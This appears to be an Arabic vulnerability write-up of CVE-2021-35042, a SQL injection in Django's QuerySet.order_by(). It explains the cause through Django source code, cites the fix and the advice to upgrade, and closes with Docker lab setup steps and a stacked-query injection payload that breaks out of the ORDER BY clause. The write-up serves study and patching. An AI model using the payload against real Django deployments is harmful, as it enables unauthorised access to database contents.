
ثغرة حقن SQL في Django
Django هو إطار تطبيق ويب مفتوح المصدر، مكتوب بلغة Python، مبني على نموذج MVC (Model - View - Controller). تم بناؤه في البداية لإدارة مواقع الويب لمحتوى الأخبار المملوكة لمجموعة النشر Lawrence، وهو نظام إدارة محتوى (CMS).
توجد ثغرة SQL injection في Django الإصدارات 3.1.x -> 3.1.13 والإصدارات 3.2.x -> 3.2.5.
سبب هذه الثغرة هو أن وظيفة تصفية البيانات المدخلة التي يتحكم فيها المستخدم في QuerySet.order_by() غير كافية لمنع هجمات SQL injection. يمكن استغلال هذه الثغرة للسماح للمهاجم بتنفيذ إجراءات غير مصرح بها تؤدي إلى تسريب بيانات حساسة.
| CVE - ID | CVE-2021-35042 |
|---|
| Severity | 9.8 - CRITICAL |
| CWE - ID | CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') |
| تاريخ نشر الثغرة | 1/7/2021 |
| البرامج المتأثرة | 3.1.x < 3.1.13, 3.2.x < 3.2.5 |
| مطلوب مصادقة | غير مطلوب |
في Django، يتم إنشاء الجداول وتعريف الحقول في قاعدة البيانات عن طريق تعريف فئة نموذج (model) في ملف models.py. في هذا المثال، نعلن عن جدول باسم Wolf وحقل باسم name.


يُستخدم إطار عمل ORM المدمج في Django للتعامل مع قاعدة البيانات، ونتيجة الاستعلام هي مجموعة تسمى QuerySet.
order_by(fields)
افتراضيًا، ترجع order_by() QuerySet مرتبة حسب الترتيب المحدد في خيار ordering في Meta الخاص بالنموذج. يمكننا تجاوز شرط order_by في كل استعلام باستخدام الطريقة order_by().
مثال
wolves = Wolf.objects.order_by('-name', 'id')
سيتم ترتيب نتيجة الاستعلام أعلاه تنازليًا حسب الحقل name، ثم تصاعديًا حسب id. تشير علامة السالب قبل اسم الحقل name إلى ترتيب النتيجة تنازليًا.
المثال التالي سيرتب النتيجة حسب الحقل المستلم من المستخدم، وإذا لم يتم تمرير أي قيمة فسيتم الترتيب حسب الحقل
id.
النتيجة

في الإصدارين 3.1 و 3.2، يسمح Django بدمج طريقة الاستعلام مع اسم الجدول في استعلام order_by. وهذا هو السبب الرئيسي لهذه الثغرة.
تمرير اسم جدول يعطينا نفس النتيجة كتمرير اسم الحقل العادي
cve202135042_wolf هو اسم الجدول
أولاً، يستدعي التطبيق مباشرة دالة order_by()، ويتم تعريف الكود الذي يعالج دالة order_by() في:
django/db/models/query.py

تقوم دالة order_by() بأمرين
- تحذف جميع الترتيبات الحالية التي يتم استدعاؤها بواسطة order_by() وتحذف المعامل الافتراضي الذي يمرر عندما يستقبل order_by قيمة مختلفة.
- تمرر المعاملات إلى order_by. تقوم الدالة
add_ordering()بهذا الأمر.
def add_ordering(self, *ordering):
"""
Add items from the 'ordering' sequence to the query's "order by"
clause. These items are either field names (not column names) --
possibly with a direction prefix ('-' or '?') -- or OrderBy
expressions.
If 'ordering' is empty, clear all ordering from the query.
"""
errors = []
for item in ordering:
if isinstance(item, str):
if '.' in item:
warnings.warn(
'Passing column raw column aliases to order_by() is '
'deprecated. Wrap %r in a RawSQL expression before '
'passing it to order_by().' % item,
category=RemovedInDjango40Warning,
stacklevel=3,
)
continue
if item == '?':
continue
if item.startswith('-'):
item = item[1:]
if item in self.annotations:
continue
if self.extra and item in self.extra:
continue
# names_to_path() validates the lookup. A descriptive
# FieldError will be raise if it's not.
self.names_to_path(item.split(LOOKUP_SEP), self.model._meta)
elif not hasattr(item, 'resolve_expression'):
errors.append(item)
if getattr(item, 'contains_aggregate', False):
raise FieldError(
'Using an aggregate in order_by() without also including '
'it in annotate() is not allowed: %s' % item
)
if errors:
raise FieldError('Invalid order_by arguments: %s' % errors)
if ordering:
self.order_by += ordering
else:
self.default_ordering = False
المعامل الذي يُمرر إلى add_ordering() هو مصفوفة.
مثال عندما يُمرر المعامل كالتالي:
wolves = Wolf.objects.order_by( 'name' , 'id' )عندها، سيقوم التطبيق بتحويله إلى استعلام في قاعدة البيانات كالتالي:
SELECT "cve202135042_wolf"."id", "cve202135042_wolf"."name" FROM "cve202135042_wolf" ORDER BY "cve202135042_wolf"."name" ASC, "cve202135042_wolf"."id" ASC
عند تمرير القيم، ستقوم دالة add_ordering بفحص كل عنصر في المصفوفة، إذا كان string، فسيتم فحصه في 5 حالات:
if '.' in item:تتحقق مما إذا كان استعلامًا يحتوي على اسم عمود مع اسم جدول محدد في جملة SQL. إذا كان كذلك، فسيصدر تحذيرًا ويستمرcontinue.if item == '?':إذا كانت قيمة العنصر هي علامة '?'، فسيتم ترتيب النتيجة عشوائيًا،continue.if item.startswith('-'):إذا بدأ العنصر بالحرف '-', فسيتم ترتيب نتيجة الاستعلام تنازليًا (DESC).if item in self.annotations:يتحقق مما إذا كان يحتوي على تعليق (comment)، إذا كان كذلك،continue.if self.extra and item in self.extra:يحدد ما إذا كان هناك إضافات (extra) وإذا كان كذلك،continue.
بعد 5 فحوصات، يستمر تمرير المعامل إلى الدالة self.names_to_path(item.split(LOOKUP_SEP), self.model._meta) للتحقق مما إذا كان اسم عمود صالحًا، ثم إذا كان صالحًا، سيتم إضافته إلى self.ordering في الفئة Query لمعالجته لاحقًا.
يقوم ORM الخاص بـ Django بتصفية البيانات المدخلة في الاستعلام بشكل صارم، لكن التغيير في الكود المصدري هذه المرة أدى إلى SQL injection بسبب افتراض المؤلف أن اسم العمود إذا كان UUID (Universal Unique Identifier) فلن يتمكن استعلام order_by من التنفيذ.
بمعنى أنه إذا كانت البيانات المدخلة هي xxx-xxx-xxx-xxx (تنسيق UUID)، فلن يتمكن الاستعلام من التنفيذ.
الكود قبل التغيير
# django/db/models/sql/constants.py
ORDER_PATTERN = _lazy_re_compile ( r '\?|[-+]?[.\w]+$' )
# django/db/models/sql/query.py
def add_ordering ( self , * ordering ):
errors = []
for item in ordering :
if isinstance ( item , str ) and ORDER_PATTERN . match ( item ):
if '.' in item :
warnings . warn (
'Passing column raw column aliases to order_by() is '
'deprecated. Wrap %r in a RawSQL expression before '
'passing it to order_by().' % item ,
category = RemovedInDjango40Warning ,
stacklevel = 3 ,
)
elif not hasattr ( item , 'resolve_expression' ):
errors . append ( item )
if getattr ( item , 'contains_aggregate' , False ):
raise FieldError (
'Using an aggregate in order_by() without also including '
'it in annotate() is not allowed: %s ' % item
)
if errors :
raise FieldError ( 'Invalid order_by arguments: %s ' % errors )
if ordering :
self . order_by += ordering
else :
self . default_ordering = False
من الكود أعلاه، يمكننا أن نرى أنه إذا تطابق المعامل مع ? أو بدأ بـ - يليه أحرف عادية أو نقاط .، فإن الاستعلام سيتم تنفيذه فقط.
لذلك، عندما يكون اسم العمود UUID، ستكون قيمة غير صالحة ولا يمكن إدخالها في order_by.
تم قبول تغيير الكود لهذه المعالجة، وتغير كالتالي:
https://github.com/charettes/django/commit/513948735b799239f3ef8c89397592445e1a0cd5

استخدمت الدالة self.name_to_path للتحقق من صحة البيانات المدخلة.
لكن بعد فحص ما إذا كان . موجودًا في العنصر، سيعتبره استعلامًا مع اسم جدول، ويتم تنفيذ الأمر continue، مما يؤدي إلى تخطي استخدام الدالة self.name_to_path للتحقق من صحة البيانات.
الكود الذي يعالج النقطة . في الدالة get_order_by هو كما يلي
django/db/models/sql/compiler.py
if '.' in field :
table , col = col . split ( '.' , 1 )
order_by . append ((
OrderBy (
RawSQL ( ' %s . %s ' % (
self . quote_name_unless_alias ( table ), col ), [ ]),
descending = descending
), False ))
continue
تقوم الدالة self.quote_name_unless_alias بمعالجة اسم الجدول، وتصفية أسماء الجداول الصالحة وتتجاهل تصفية اسم العمود، لذلك يمكننا حقن جملة SQL injection.
في إصدار Django 4.0 الحالي، تمت إزالة الاستعلام حسب اسم الجدول باستخدام النقطة . ولم يعد مدعومًا، وتم إصدار التصحيح للإصدارين 3.1 و 3.2. الإصدارات المتأثرة هي 3.2 -> 3.2.4 و 3.1 -> 3.1.12.
3.2.x Fixed CVE-2021-35042 -- Prevented SQL injection in QuerySet.o…
التعديل بسيط للغاية، فقد تم إعادة فحص البيانات باستخدام ReGex القديم.

قم بتحديث Django إلى إصدار غير متأثر.
Docker & Docker-compose
git clone https://github.com/LUUANHDUC/CVE-2021-35042.git./setup.sh للإعداد المبدئيsudo docker-compose up --buildsudo docker exec -it cve-2021-35042_web_1 python manage.py makemigrations cve202135042sudo docker exec -it cve-2021-35042_web_1 python manage.py migratehttp://localhost:8000/wolves/?order_by=nameالشاشة بعد التثبيت

الشرط: للاستغلال، يجب علينا معرفة اسم الجدول بطريقة ما :))
عند حقن الأمر، يجب أن نعرف اسم الجدول لتتمكن من تنفيذ جملة SQLi.
عند إدخال اسم جدول خاطئ

عند إدخال اسم جدول صحيح، يعمل استعلام orderby بشكل طبيعي.

سيكون الأمر في هذه الحالة
SELECT "cve202135042_wolf"."id", "cve202135042_wolf"."name" FROM "cve202135042_wolf" ORDER BY ("cve202135042_wolf"."name") ASC
في هذه اللحظة، يمكننا إنهاء أمر order_by السابق وحقن جملة SQL للاستغلال.

SELECT "cve202135042_wolf"."id", "cve202135042_wolf"."name" FROM "cve202135042_wolf" ORDER BY ("cve202135042_wolf"."name"); SELECT * from cve202135042_wolf where id =1; --) ASC